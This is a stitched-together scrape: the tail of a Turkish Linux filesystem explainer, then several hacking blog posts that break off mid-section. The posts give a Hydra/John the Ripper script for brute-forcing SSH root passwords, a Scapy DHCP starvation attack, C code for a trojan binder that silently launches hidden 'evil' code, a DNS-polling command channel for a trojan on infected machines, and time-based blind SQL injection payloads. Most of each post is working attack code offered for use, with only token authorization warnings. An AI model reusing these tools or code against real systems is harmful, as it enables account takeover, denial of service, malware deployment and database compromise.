<p>/proc klasörü içersindeki dosyalar, sadece sistem durumunu görüntülemek için kullanılmaz; gerektiğinde ayarlamak için de kullanılabilir. Fakat son kullanıcılara hitap etmediğinden, bu konuyu burada keselim.</p>
<h4>/root :</h4>
<p>Unix&#8217;in ilk versiyonlarında root kullanıcısının kendine ait bir ev klasörü yoktu. Direkt olarak / (root klasörü) altında çalışırdı. Fakat zamanla bunun iyi bir yöntem olmadığı anlaşıldı ve root kullanıcısının ayrı bir klasöre sahip olması gerektiğine karar verildi. Diğer kullanıcılardan farklı olduğu için root&#8217;un ev klasörü /home altında tutulmaz; ayrılması için /root klasörü altındadır.</p>
<h4>/sbin :</h4>
<p>Linux&#8217;ta normal kullanıcının kullanabileceği komutlarla, sistem kullanıcısının kullanabileceği komutlar ayrılmıştır. root tarafından kullanılacak bakım ve yönetim için kullanılan önemli programlar, /sbin altında tutulur. Daha az öneme sahip yönetim komutlarıysa, /usr/sbin klasöründedir. Eğer lokalde, yani kullandığınız makineye özgü yönetici (root) komutları bulunuyorsa, bunları da /usr/local/sbin altında bulabilirsiniz.</p>
<h4>/usr :</h4>
<p>/root kullanıcısına benzer bir hikaye /usr için de söz konusudur. Unix ilk çıktığında, kullanıcılara ait ev klasörleri, /usr altında tutulurdu. Örneğin <em>cagatay</em> isimli bir kullanıcının ev klasörü <em>/usr/cagatay</em> şeklindeydi. Bu yöntem zamanla değişti ve /home klasörü doğmuş oldu. /usr klasörü hâlâ çok önemli bir yapıdır ve işletim sisteminizde kullandığınız her şeyle ilişkisi bulunur.</p>
<p>/usr klasörünün önemi, yüklediğiniz programların buraya atılmasından kaynaklanır. /opt adresi işletim sistemi dışında gelen 3.parti programlar içindir. Fakat işletim sistemi aracılığıyla ya da paket yönetim sistemlerini kullanarak yüklediğiniz her şey, /usr altına aktarılır. Aynı zamanda yüklediğiniz programların çalışmak için ihtiyaç duyacağı kütüphane dosyaları, /usr/lib altındadır.</p>
<p>/usr ile ilgili söylenebilecek bir başka nokta da, local klasörüdür. Linux, sunucu olarak çok istemciye hizmet verebilecek bir işletim sistemidir. Bir Linux sunucu (server) kurarsanız, ona bağlanan yüzlerce istemci (client) olabilir. Her istemci bilgisayara, /usr altındaki programların ayrı ayrı yüklenmesi gerekmez; bir başka konumdan bu komutları çalıştırabilirsiniz. Ancak /usr altında bulunan local klasörü sadece kullandığınız makineye özeldir. Örneğin /usr/local/bin klasörü içinde bulunan bütün komutlar, direkt olarak kullandığınız makineye yüklenmiştir. /usr/bin komutları ise geneldir ve bir ağ üstündeki bütün makinelerden erişilebilir. local gördüğünüzde, bunun sadece sizin makinenize özel olduğunu bilin.</p>
<h4>/var :</h4>
<p>Log dosyaları, e-mail ve printer kuyrukları gibi değişken sistem bilgilerini barındırır. Sisteminize dair tutulan log&#8217;ları buradan görebilir; güvenlik durumunu buradan kontrol edebilirsiniz.</p>
<h4>/tmp :</h4>
<p>Geçici dosyalar içindir. Birçok program, burayı geçici depolama alanı olarak kullanır. /tmp klasörünün içeriği genellikle KB&#8217;lar mertebesinde kalır ve genellikle işletim sistemi yeniden başlarken içindeki dosyalar silinir. /tmp klasörü altında bulunan dosyaları, ne yaptığınızdan emin değilseniz, kesinlikle silmemelisiniz! Sistem genelinde olmasa bile, program bazında problemler çıkabilir. Örneğin açık bir soket dosyasını sildiğinizde, onu kullanan programa ve kendinize sorun çıkartabilirsiniz.</p>
<p>Linux (ya da Unix diyelim) dosya sistemi oldukça özel bir yapı. İlk bakışta insanın gözünü korkutuyor, bunu kabul ediyorum. Ama fobinizle yüzleşip, temel prensipleri öğrendiğinizde oldukça sistemli bir yapının içerisinde olduğunuzu fark ediyorsunuz. O yüzden fobinizle kesinlikle yüzleşmenizi tavsiye ederim.</p>


title: THC-Hydra password bruteforcing with john the ripper
source: http://funoverip.net/2010/12/thc-hydra-password-bruteforcing-with-john-the-ripper/
author: foip
description:
<h2>1. Introduction</h2>
<p>You probably already known <strong>THC-Hydra</strong>. Hydra is a brute-force password cracker, supporting a lot of protocols/services.</p>
<p>The only problem you could have with Hydra is : Hydra don&#8217;t digest huge lists  of passwords. The reason is that Hydra will first try to load your password  file into memory (RAM) before start the brute-force attack. And so, you are limited by your memory size.</p>
<p>It&#8217;s OK with an usual password dictionary, but you could want more. Something like passwords list generated by &#8220;<strong>John the ripper</strong>&#8221; (John provides greats way to generate passwords: digit/alpha/special chars only,  &#8220;rules&#8221; options, &#8220;external&#8221; filters, etc.)</p>
<p>Our goal is to use the output of John the ripper with Hydra.</p>
<p>The method is trivial but does the job.</p>
<pre><span style="color: #800000;">loop
    (1) Generate random passwords with John the Ripper
    in a file durring few seconds (file grow up
    very quickly). Keep a john's session file.

    (2) Run hydra with the passwords file.

    (3) If found, exit. if not, continue the session
    created in (1).
end loop</span></pre>
<p><span id="more-16"></span><br class="spacer_" /></p>
<h2>2. The script</h2>
<p>This is the bash script I wrote to perform the task.</p>
<ul>
<li>Review <strong>&#8216;</strong><span style="color: #3366ff;"><em>hydra_*</em></span>&#8216; variables (if need run &#8216;hydra &#8211;help&#8217;). See: &#8216;<span style="color: #3366ff;"><em>hydra_host</em></span>&#8216;, &#8216;<span style="color: #3366ff;"><em>hydra_port</em></span>&#8216;, &#8216;<span style="color: #3366ff;"><em>hydra_module</em></span>&#8216;, &#8230; and maybe &#8216;<span style="color: #3366ff;"><em>hydra_all_params</em></span>&#8216;.</li>
<li>Review &#8216;<span style="color: #3366ff;"><em>john_*</em></span>&#8216; variables. See: &#8216;<span style="color: #3366ff;"><em>john_all_params</em></span>&#8216; and choose your template : (<span style="color: #339966;">&#8211;incremental:All</span> ,<span style="color: #339966;"> &#8211;incremental:Digits </span>, <span style="color: #339966;">&#8211;incremental:Alpha</span> , <span style="color: #339966;">&#8211;single</span>,<span style="color: #339966;"> &#8211;rules</span> &#8230;) see <span style="color: #808080;"><em>john.conf</em></span> file to get the list.</li>
</ul>
<p>Enjoy!</p>
<p>Get <a href="http://funoverip.net/wp-content/uploads/2010/12/hydra-john.sh.gz">hydra-john.sh</a></p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/sh

hydra=&quot;/usr/local/bin/hydra&quot;
john=&quot;/usr/bin/john&quot;

hydra_module=&quot;ssh2&quot;
hydra_host=&quot;127.0.0.1&quot;
hydra_port=&quot;22&quot;
hydra_nb_task=&quot;10&quot;
hydra_all_params=&quot;-f -s $hydra_port -t $hydra_nb_task -e ns &quot;

john_sessionfile=&quot;$1&quot;
john_all_params=&quot;--incremental:Alpha --stdout&quot;
john_time_step=20   # time (seconds) to run john

tmp_passwd=&quot;/tmp/pwd1234.tmp&quot;
hydra_logfile=&quot;/tmp/hydralog&quot;

if [ &quot;$1&quot; = &quot;&quot; ];then
	echo &quot;Usage: $0 &lt;john session file&gt;&quot;
	exit 0
fi

#for lfile in `ls $loginfiles*`;do

while [ 1 ];do
	# generate some password with john the ripper
	echo; echo &quot;- Start (re)generating passwords with John&quot;
	if [ -e &quot;$john_sessionfile.rec&quot; ];then
		# if session exist, restore it
		$john --restore=$john_sessionfile  &gt; $tmp_passwd &amp;
	else
		# if session not exist yet, create it
		$john $john_all_params --session=$john_sessionfile &gt; $tmp_passwd &amp;
	fi

	# wait 100 seconds, then kill john and start hydra on it
	echo &quot;- Wait ...&quot;
	sleep $john_time_step
	echo &quot;- Kill john&quot;
	killall john 2&gt;/dev/null 1&gt;/dev/null
	sleep 1

	# start hydra
	echo; echo &quot;- Start hydra&quot;; echo

	rm -f $hydra_logfile
	echo &quot;$hydra -l root -P $tmp_passwd $hydra_all_params $hydra_host $hydra_module | tee -a $hydra_logfile&quot;
	$hydra -l root -P $tmp_passwd $hydra_all_params $hydra_host $hydra_module | tee -a $hydra_logfile

	# if a valid pair has been found, stop the loop
	if [ &quot;`grep $hydra_module $hydra_logfile | grep -v DATA`&quot; != &quot;&quot; ];then
		echo; echo &quot;FOUND !!&quot;
		grep $hydra_module $hydra_logfile | grep -v DATA
		exit 0
	fi

done
</pre>
<p><br class="spacer_" /><br />
Note: There is a rating embedded within this post, please visit this post to rate it.</p>
<p style='text-align:left'>&copy; 2010 &#8211; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: DHCP Denial of Service with scapy
source: http://funoverip.net/2010/12/dhcp-denial-of-service-with-scapy/
author: foip
description:
<h2>1. Introduction</h2>
<p>This is a small post explaining how to run a starvation attack against a DHCP server with only three lines of code (thanks to Scapy!).</p>
<p>Information &amp; download regarding Scapy :</p>
<ul>
<li><a title="http://www.secdev.org/projects/scapy/" href="http://www.secdev.org/projects/scapy/" target="_blank">http://www.secdev.org/projects/scapy/</a></li>
</ul>
<p>Information about DHCP Starvation attack :</p>
<ul>
<li><a title="http://hakipedia.com/index.php/DHCP_Starvation" href="http://hakipedia.com/index.php/DHCP_Starvation" target="_blank">http://hakipedia.com/index.php/DHCP_Starvation</a></li>
</ul>
<p><span id="more-20"></span><br class="spacer_" /></p>
<h2>2. Starvation attack with scapy</h2>
<p>Running a starvation attack is nothing more than sending a lot of  dummy DHCP requests,  with random source MAC addresses. After few  second, there is no more  IP addresses available in the pool.</p>
<p><span style="text-decoration: underline;">Warning:</span> Don&#8217;t run this attack against networks you are not authorized !</p>
<pre><span style="color: #800000;">[root@host1 ]$ scapy
Welcome to Scapy (v1.1.1 / -)
&gt;&gt;&gt; conf.checkIPaddr = False
&gt;&gt;&gt; dhcp_discover =  Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=RandString(12,'0123456789abcdef'))/DHCP(options=[("message-type","discover"),"end"])
&gt;&gt;&gt; sendp(dhcp_discover,loop=1)
...............................................................^C
Sent 70 packets.</span></pre>
<p>To stop the attack, simply press Ctrl+C.</p>
<p><br class="spacer_" /><br />
Does it work ? Yes, take a look at the following tcpdump captures.</p>
<h3>2.1. The DHCP queries:</h3>
<pre><span style="color: #3366ff;">[root@host2 ]$ tcpdump -n -e -i eth0 port 68
<span style="color: #ff0000;">ec:51:e2:20:5b:93</span> &gt; ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800), length 286: 0.0.0.0.68 &gt; 255.255.255.255.67: BOOTP/DHCP, Request from <span style="color: #ff0000;">64:38:62:38:63:65</span>, length 244
<span style="color: #ff0000;">8e:97:0f:18:8a:19</span> &gt; ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800), length 286: 0.0.0.0.68 &gt; 255.255.255.255.67: BOOTP/DHCP, Request from <span style="color: #ff0000;">39:33:39:37:65:66</span>, length 244
<span style="color: #ff0000;">28:a7:45:35:c0:47</span> &gt; ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800), length 286: 0.0.0.0.68 &gt; 255.255.255.255.67: BOOTP/DHCP, Request from <span style="color: #ff0000;">38:34:66:64:33:63</span>, length 244
...</span></pre>
<p><br class="spacer_" /></p>
<h3>2.2. Then the DHCP responses:</h3>
<pre><span style="color: #3366ff;">00:23:20:56:53:f0 &gt; <span style="color: #ff0000;">64:38:62:38:63:65</span>, ethertype IPv4 (0x0800), length 347: 192.168.0.1.67 &gt; 192.168.0.<span style="color: #ff0000;">117</span>.68: BOOTP/DHCP, Reply, length 305
00:23:20:56:53:f0 &gt; <span style="color: #ff0000;">39:33:39:37:65:66</span>, ethertype IPv4 (0x0800), length 347: 192.168.0.1.67 &gt; 192.168.0.<span style="color: #ff0000;">118</span>.68: BOOTP/DHCP, Reply, length 305
00:23:20:56:53:f0 &gt; <span style="color: #ff0000;">38:34:66:64:33:63</span>, ethertype IPv4 (0x0800), length 347: 192.168.0.1.67 &gt; 192.168.0.<span style="color: #ff0000;">119</span>.68: BOOTP/DHCP, Reply, length 305
...
</span><span style="color: #3366ff;"> </span></pre>
<h2>3. The End</h2>
<p>Hope you enjoy.<br />
<br class="spacer_" /><br />
Note: There is a rating embedded within this post, please visit this post to rate it.</p>
<p style='text-align:left'>&copy; 2010 &#8211; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: Create your own Trojan binder
source: http://funoverip.net/2010/12/create-your-own-trojan-binder/
author: foip
description:
<h2>1. Introduction</h2>
<p>Sometimes you would like to merge your own piece of code (Trojan, Joke, &#8230;) to a legitimate executable file, under Windows or Linux. Unfortunately, binder tools you&#8217;ve downloaded from Internet are detected by anti-virus software. Worst, they are virus. Actually, bind two files is not an exploit. With a bit of c/c++ you can easily create your own binder.</p>
<p>This post will explains to you how to create a valid executable file, which contains actually <strong>two</strong> executable files. We will not write a full binder from scratch, but only provide you the basic idea needed to do it by your self.</p>
<p><br class="spacer_" /></p>
<h3>1.1. Requirements</h3>
<ul>
<li>We assume you know how to develop and compile C programs under Linux or Windows.</li>
<li><strong>hexdump</strong> utility.</li>
</ul>
<p><span id="more-5"></span><br class="spacer_" /></p>
<h3>1.2. The steps</h3>
<p>The idea is to dump the initial executable files as hexadecimal, into C variables. Like this:</p>
<pre class="brush: cpp; title: ; notranslate">

unsigned char evil[]    = {\xaa, \xaa, \xaa, ... , \xaa };
unsigned char real_prog[] = {\xbb, \xbb, \xbb, ... , \xbb };
</pre>
<p>Next you have to write a C function that will locally recreates the files at run-time, and executes both files (in foreground or background). System calls such as <em>open()</em>, <em>write()</em>, <em>fork()</em> and <em>exec()</em> will be used for Linux, <em>CreateProcess()</em> and so on for Windows.</p>
<p><br class="spacer_" /></p>
<h2>2. Lets practice</h2>
<h3>2.1. Dumping binary into C variables</h3>
<p>In order to dump an executable file, you need <strong>hexdump</strong> utility (we will use it under Linux). Use the following syntax to try by your self:</p>
<pre><span style="color: #3366ff;">[root@host ]$ <span style="color: #ff0000;">cat evil.exe | hexdump -v -e '"0x" 1/1 "%02X" ","'</span>
0x7F,0x45,0x4C,0x46,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x01,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB4,0x08,0x00,0x00,
0x00,....</span></pre>
<p>It&#8217;s time to create the C variables. We will store them into a C header file (.h). Actually, it&#8217;s not a good practice to declare a variable inside a header file. Usually, the variable must be declared inside the &#8220;.c&#8221; file (the module). But for clarity, we will do an exception.</p>
<pre><span style="color: #3366ff;">[root@host ]$ echo "<span style="color: #339966;">const unsigned char evil[] = {</span>" &gt; hex-evil.h
[root@host ]$ cat evil.exe | hexdump -v -e '"<span style="color: #339966;">0x</span>" 1/1 "<span style="color: #339966;">%02X</span>" ","'<acronym title="Stream Editor"> </acronym>|<acronym title="Stream Editor"> sed</acronym> s/,$// &gt;&gt; hex-evil.h
[root@host ]$ echo "<span style="color: #339966;">};</span>" &gt;&gt; hex-evil.h
</span></pre>
<p>Do the same for the second binary.</p>
<pre><span style="color: #3366ff;">[root@host ]$ echo "<span style="color: #339966;">const unsigned char real_prog[] = {</span>" &gt; hex-real-prog.h
[root@host ]$ cat real-prog.exe | hexdump -v -e '"<span style="color: #339966;">0x</span>" 1/1 "<span style="color: #339966;">%02X</span>" ","'<acronym title="Stream Editor"> </acronym>|<acronym title="Stream Editor"> sed</acronym> s/,$// &gt;&gt; hex-real-prog.h
[root@host ]$ echo "<span style="color: #339966;">};</span>" &gt;&gt; hex-real-prog.h</span></pre>
<p><br class="spacer_" /></p>
<h3>2.2. Re-create binary files at runtime, and execute them</h3>
<p>Recreating the files is only a matter of writing back the variable content into a recently created file.</p>
<p>For Linux: Create a C function like this:</p>
<pre class="brush: cpp; title: ; notranslate">

#include &quot;hex-evil.h&quot;
#include &quot;hex-real-prog.h&quot;

int recreate_binary() {
     FILE *file;

     // evilcode
     file = fopen(&quot;evil.bin&quot;, &quot;w&quot;);
     if(file){
          fwrite(evil, 1, sizeof(evil), file);
          fclose(file);
          chmod(&quot;evil.bin&quot;,0755);
     }else
         return 1;

     // realprog
     file = fopen(&quot;realprog.bin&quot;, &quot;w&quot;);
     if(file){
          fwrite(real_prog, 1, sizeof(real_prog), file);
          fclose(file);
          chmod(&quot;realprog.bin&quot;,0755);
     }else
         return 1;

     return 0;
}

int execute_binary(){
     signal(SIGCHLD, SIG_IGN);  // avoid zombie, don't need exit info from child
     int pidMt;
     if((pidMt=fork())==0){
           execl(&quot;evil.bin&quot;, &quot;evil.bin&quot;, (char *) 0);
           perror(&quot;exec failed&quot;);
           exit(0); // Failed
     }

     if((pidMt=fork())==0){
           execl(&quot;realprog.bin&quot;, &quot;realprog.bin&quot;, (char *) 0);
           perror(&quot;exec failed&quot;);
           exit(0); // Failed
     }

     return 0;
}
</pre>
<p>For Windows: this is an equivalent</p>
<pre class="brush: cpp; title: ; notranslate">

// Create and run &quot;evil code&quot; (silently)

file = CreateFile(evil_filename, GENERIC_WRITE,
                      FILE_SHARE_WRITE, 0,
                      CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,0);
WriteFile(file, evil_data, evil_len, &amp;written,0);
CloseHandle(file);
//Run it (silently)
ShellExecute(0, &quot;open&quot;, evil_filename ,NULL, NULL, SW_HIDE);

// Create and run &quot;legitimate prog&quot; (foreground)
file = CreateFile(calculator_filename, GENERIC_WRITE,
                      FILE_SHARE_WRITE,  0,
                      CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(file,calculator_data, calculator_len, &amp;written,0);
CloseHandle(file);
ShellExecute(0, &quot;open&quot;, calculator_filename ,NULL, NULL, SW_SHOWDEFAULT);
</pre>
<p><br class="spacer_" /></p>
<h2>3. The end</h2>
<p>It&#8217;s time to put everything together. Hope you enjoy.</p>
<p><br class="spacer_" /><br />
Note: There is a rating embedded within this post, please visit this post to rate it.</p>
<p style='text-align:left'>&copy; 2010 &#8211; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: Manage your evil code with DNS
source: http://funoverip.net/2010/12/manage-your-evil-code-with-dns/
author: foip
description:
<h2>1. Introduction</h2>
<p>This post provides an easy way to manage your software (evil or not) remotely, by using a simple DNS polling function.</p>
<p>Imagine that you have a small piece of code acting as an ethical Trojan, running somewhere on an (infected) computer connected behind several Firewalls and NAT devices, and that this computer is able the make DNS queries against Internet host-names (such as www.google.com). Why don&#8217;t use this ability to control your Trojan simply by switching the IP address of an Internet host-name ?</p>
<p><span style="text-decoration: underline;">Example</span>: Ask your Trojan to check the IP address of <strong>ctrl.mydomain.com</strong> on a regular basis (why not using a dynamic DNS hostname?). Based on the return IP address, run a sub routine of the Trojan.</p>
<ul>
<li><span style="color: #808080;">If IP = <strong>127.0.0.1</strong> , keep sleeping</span></li>
<li><span style="color: #3366ff;">If IP =<strong> 127.0.1.1</strong> , start something</span></li>
<li><span style="color: #3366ff;">If IP =<strong> 127.0.1.2</strong> , stop the thing</span></li>
<li><span style="color: #ff9900;">If IP =<strong> 127.0.2.1</strong> , start another thing</span></li>
<li><span style="color: #ff9900;">If IP = <strong>127.0.2.2</strong> , stop the other thing</span></li>
<li><span style="color: #008000;">If IP = <strong>127.0.9.10</strong> , change DNS polling frequency to 10 minutes</span></li>
<li><span style="color: #008000;">If IP =<strong> 127.0.9.30 </strong>, change DNS polling frequency to 30 minutes</span></li>
<li><span style="color: #008000;">If IP = <strong>127.0.9.120</strong> , change DNS polling frequency to 120 minutes</span></li>
<li>&#8230;</li>
</ul>
<p><span id="more-58"></span><br class="spacer_" /></p>
<h2>2. Sample code</h2>
<p>In the c code provided bellow, the IP addresses are defined this way:</p>
<pre class="brush: cpp; title: ; notranslate">

#define IP_DO_NOTHING       &quot;127.0.0.1&quot;     // keep sleeping
#define IP_START_CODE       &quot;127.0.1.1&quot;     // start something
#define IP_STOP_CODE        &quot;127.0.1.2&quot;     // stop the thing
#define IP_DNS_TIMER_10     &quot;127.0.9.10&quot;    // change freq to 10 min
#define IP_DNS_TIMER_30     &quot;127.0.9.30&quot;    // ... 30 minutes
#define IP_DNS_TIMER_120    &quot;127.0.9.120     // ...
</pre>
<p><br class="spacer_" /><br />
The DNS queries will be done with <em>gethostbyname()</em> and then checked against our predefined IP addresses.</p>
<pre class="brush: cpp; title: ; notranslate">

// IP_DO_NOTHING
if(strncmp(ip,IP_DO_NOTHING,strlen(IP_DO_NOTHING)) == 0)
        return RET_IP_DO_NOTHING;

// IP_START_CODE
if(strncmp(ip,IP_START_CODE,strlen(IP_START_CODE)) == 0)
         return RET_IP_START_CODE;

...

return RET_IP_UNKNOWN; // IP Unknown
</pre>
<p><br class="spacer_" /><br />
In order to make a polling function, see <em>alarm()</em> (this part is not present in the code provided below) . Example:</p>
<pre class="brush: cpp; title: ; notranslate">

// Establish a handler for SIGALRM signals.
signal (SIGALRM, process_control);

// Set alarm
alarm (dns_timer);
</pre>
<p><br class="spacer_" /></p>
<h2>3. Download</h2>
<p>Download <a href="http://funoverip.net/wp-content/uploads/2010/12/dns.c.gz">dns.c</a></p>
<div class="jcode-350">
<pre class="brush: cpp; title: ; notranslate">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;netdb.h&gt;
#include &lt;arpa/inet.h&gt;

#define IP_DO_NOTHING          		&quot;127.0.0.1&quot;     // keep sleeping
#define IP_START_CODE          		&quot;127.0.1.1&quot;     // start something
#define IP_STOP_CODE          		&quot;127.0.1.2&quot;     // stop the thing
#define IP_DNS_TIMER_10        		&quot;127.0.9.1&quot;     // change freq to 10 min
#define IP_DNS_TIMER_30        		&quot;127.0.9.2&quot;     // ... 30 minutes
#define IP_DNS_TIMER_120      		&quot;127.0.9.3&quot;     // ...

// Function return values
#define RET_IP_DO_NOTHING              1
#define RET_IP_UNKNOWN                 2
#define RET_IP_START_CODE              101
#define RET_IP_STOP_CODE               102

#define RET_IP_DNS_TIMER_10            901
#define RET_IP_DNS_TIMER_30            902
#define RET_IP_DNS_TIMER_120           902

/*--------------------------*/
/* Resolv a hostname/IP     */
/*--------------------------*/
char* dns_resolv(char* hostname){

        struct hostent *hp;

        hp = gethostbyname(hostname);
        if (hp == NULL) {
#ifdef DEBUG
                perror(&quot;gethostbyname() failed\n&quot;);
#endif
                return NULL;
        }else{
                // Return first IP found
                if(hp -&gt; h_addr_list[0] != NULL){
#ifdef DEBUG2
                        printf(&quot;dns_resolv(): IP: %s\n&quot;,
				(char*)inet_ntoa( *( struct in_addr*)( hp -&gt; h_addr_list[0])));
#endif
                        return  (char*)inet_ntoa( *( struct in_addr*)( hp -&gt; h_addr_list[0]));
                }else{
#ifdef DEBUG
                        printf(&quot;No IP found\n&quot;);
#endif
                        return NULL;
                }
        }

        return NULL; // Never reached
}

/*--------------------------------------------------------------------*/
/* Do a DNS polling.                                                  */
/* Return an 'action' id, based on the returned IP address (A record) */
/*--------------------------------------------------------------------*/

int poll_dns(char *hostname){

        char ip[64];
        bzero(ip,64);

        // Do the DNS query
        sprintf(ip,&quot;%s&quot;,
               dns_resolv(hostname));

        // Found ?
        if(ip[0]){
#ifdef DEBUG2
                printf(&quot;IP found: %s\n&quot;,ip);
#endif
        }else{
#ifdef DEBUG2
                printf(&quot;IP NOT found !\n&quot;);
#endif
                return -1;
        }

	// Parse the IP address

        // IP_DO_NOTHING
        // --------------
        if(strncmp(ip,IP_DO_NOTHING,strlen(IP_DO_NOTHING)) == 0)
                return RET_IP_DO_NOTHING;
        // IP_START_CODE
        // --------------
        if(strncmp(ip,IP_START_CODE,strlen(IP_START_CODE)) == 0)
                return RET_IP_START_CODE;
        // IP_STOP_CODE
        // --------------
        if(strncmp(ip,IP_STOP_CODE,strlen(IP_STOP_CODE)) == 0)
                return RET_IP_STOP_CODE;
        // IP_DNS_TIMER_10
        // --------------
        if(strncmp(ip,IP_DNS_TIMER_10,strlen(IP_DNS_TIMER_10)) == 0)
                return RET_IP_DNS_TIMER_10;
        // IP_DNS_TIMER_30
        // --------------
        if(strncmp(ip,IP_DNS_TIMER_30,strlen(IP_DNS_TIMER_10)) == 0)
                return RET_IP_DNS_TIMER_30;
        // IP_DNS_TIMER_120
        // --------------
        if(strncmp(ip,IP_DNS_TIMER_120,strlen(IP_DNS_TIMER_120)) == 0)
                return RET_IP_DNS_TIMER_120;

        return RET_IP_UNKNOWN; // unexpected IP. Maybe where we should try to connect ?

}

int main(){

	printf(&quot;ret: %d\n&quot;, poll_dns(&quot;ctrl.mydomain.com&quot;));

	return 0;
}
</pre>
</div>
<p><br class="spacer_" /><br />
Usage example:</p>
<pre><span style="color: #3366ff;">root@linux$ gcc -o dns -DDEBUG -DDEBUG2 dns.c
root@linux$ ./dns
dns_resolv(): IP: 127.0.0.1
IP found: 127.0.0.1
ret: 1
</span><span style="color: #3366ff;"> </span></pre>
<h2>4. Then end</h2>
<p>Hope you enjoy.</p>
<p><br class="spacer_" /><br />
Note: There is a rating embedded within this post, please visit this post to rate it.</p>
<p style='text-align:left'>&copy; 2010 &#8211; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: Blind SQL Injection detection with Burp Suite
source: http://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/
author: foip
description:
<h2>1. Introduction</h2>
<p><a title="http://portswigger.net/burp/" href="http://portswigger.net/burp/" target="_blank">Burp suite</a> is local proxy software (man-in-the-middle application) helping a penetration tester to perform deep analysis and security checks of the HTTP conversation, between a browser and a web application. <a title="http://portswigger.net/burp/" href="http://portswigger.net/burp/" target="_blank">Burp suite</a> holds many useful plug-ins such as Spider, Repeater, Scanner, Decoder, &#8230; for achieving this job.</p>
<p>The module on which we focus on is called <strong><a href="http://portswigger.net/burp/help/intruder.html" target="_blank">Intruder</a></strong>. With this plug-in, you are able to run customised attacks against a Web application, by sending multiple <span style="color: #339966;"><em>payload</em></span> type at multiple <span style="color: #339966;"><em>positions</em></span> inside the headers/body of an HTTP request, and quickly check against the information responded.</p>
<p>This article provides some intresting SQL payload that you can use with the Intruder module of <a title="http://portswigger.net/burp/" href="http://portswigger.net/burp/" target="_blank">Burp suite</a>.</p>
<p><span style="text-decoration: underline;">Warning</span>: Don&#8217;t use this tutorial against web applications if you are not the owner or have the authorization of the responsible.<br />
<br class="spacer_" /></p>
<h2>2. SQL Injection detection</h2>
<p>As you know, detect an SQL injection issue &#8220;<span style="color: #339966;">manually</span>&#8221; could be easy to do. But it is not always true for an &#8220;<span style="color: #339966;">automatic</span>&#8221; vulnerability scanner. That&#8217;s why we would like to give a second chance to detect such vulnerabilities with smart &#8220;<span style="color: #339966;">customized attacks</span>&#8220; of <a title="http://portswigger.net/burp/" href="http://portswigger.net/burp/" target="_blank">Burp suite</a>.</p>
<p>In order to find SQL injection issues behind specific parameters of a page, we will simply use some usual time-base consuming SQL statements such as &#8220;<em>waitfor delay</em>&#8221; (for MS-SQL) and &#8220;<em>benchmark()</em>&#8221; (for MySQL), and sort the HTTP responses by &#8220;<em>Response Time Completed</em>&#8220;. By this way, we will able to quickly find the interesting responses among the list.</p>
<p><span id="more-75"></span><br />
<br class="spacer_" /></p>
<h2>3. Burp Suite example</h2>
<p>This is a short example of a blind SQL injection detection with <a title="http://portswigger.net/burp/" href="http://portswigger.net/burp/" target="_blank">Burp suite</a> (we assume you already have some knowledge of Burp suite usage. If not, enjoy this tool).</p>
<p>First, we send a recorded HTTP request to the Intruder module and set up the position where the payload will have to be injected (in red).</p>
<p style="text-align: center;"><a href="http://funoverip.net/wp-content/uploads/2010/12/burp-intruder-position.png"><img class="aligncenter size-full wp-image-856" title="burp intruder position" src="http://funoverip.net/wp-content/uploads/2010/12/burp-intruder-position.png" alt="" width="568" height="397" /></a><br />
<br class="spacer_" /><br />
Next, we load our Payloads list (see next section) from a text file. These payloads will use the <em>benchmarck()</em> MySQL function, and will ask to compute MD5(1) 3,000,000 times in order to delay the response.</p>
<p style="text-align: center;"><a href="http://funoverip.net/wp-content/uploads/2010/12/burp-intruder-payload.png"><img class="aligncenter size-full wp-image-857" title="burp-intruder-payload" src="http://funoverip.net/wp-content/uploads/2010/12/burp-intruder-payload.png" alt="" width="630" height="644" /></a></p>
<p><span style="text-decoration: underline;">Important:</span> add a white space in the list &#8220;<strong>URL-encode these characters</strong>&#8221; (on the bottom of the page) if there is no one already.</p>
<p>And then we start the attack (see Intruder menu).</p>
<p>When it will be finished, the responses will be displayed in a table format. Here we have sorted the result by &#8220;Response complete&#8221; to get immediately which payloads have triggered the vulnerability.</p>
<p style="text-align: center;"><a href="http://funoverip.net/wp-content/uploads/2010/12/burp-intruder-result.png"><img class="aligncenter size-full wp-image-858" title="burp-intruder-result" src="http://funoverip.net/wp-content/uploads/2010/12/burp-intruder-result.png" alt="" width="633" height="494" /></a><br />
<br class="spacer_" /><br />
As you see on the previous screenshot, <span style="text-decoration: underline;">request <strong>27</strong> took more than <strong>17 seconds</strong> to complete</span> with the following payload:</p>
<pre><span style="color: #3366ff;">") and 0=benchmark(3000000,MD5(1)) #</span></pre>
<p>The complete SQL statement was :</p>
<pre><span style="color: #3366ff;"><span style="color: #339966;">SELECT</span> * <span style="color: #339966;">FROM</span> user <span style="color: #339966;">WHERE</span> id=("1<span style="color: #ff0000;">") AND 0=benchmark(3000000,MD5(1)) #</span> <span style="color: #339966;">OR <span style="color: #3366ff;">mid=</span></span><span style="color: #3366ff;">"1"</span></span></pre>
<p><br class="spacer_" /></p>
<h2>4. SQL injection entry points</h2>
<p>Because there are so many ways to write an SQL statement, we will not be able to provide an exhaustive list of payloads for each kind of SQL command and injection issue. We will try to build a good list of valid SQL payloads for the following statements:</p>
<h5>4.1 WHERE/ASSIGNATION</h5>
<p>Which should match statements such as:</p>
<pre lang="text"><span style="color: #333399;">SELECT </span>a <span style="color: #333399;">FROM </span>tbl <span style="color: #333399;">WHERE </span>item=x <span style="color: #ff0000;">payload</span>
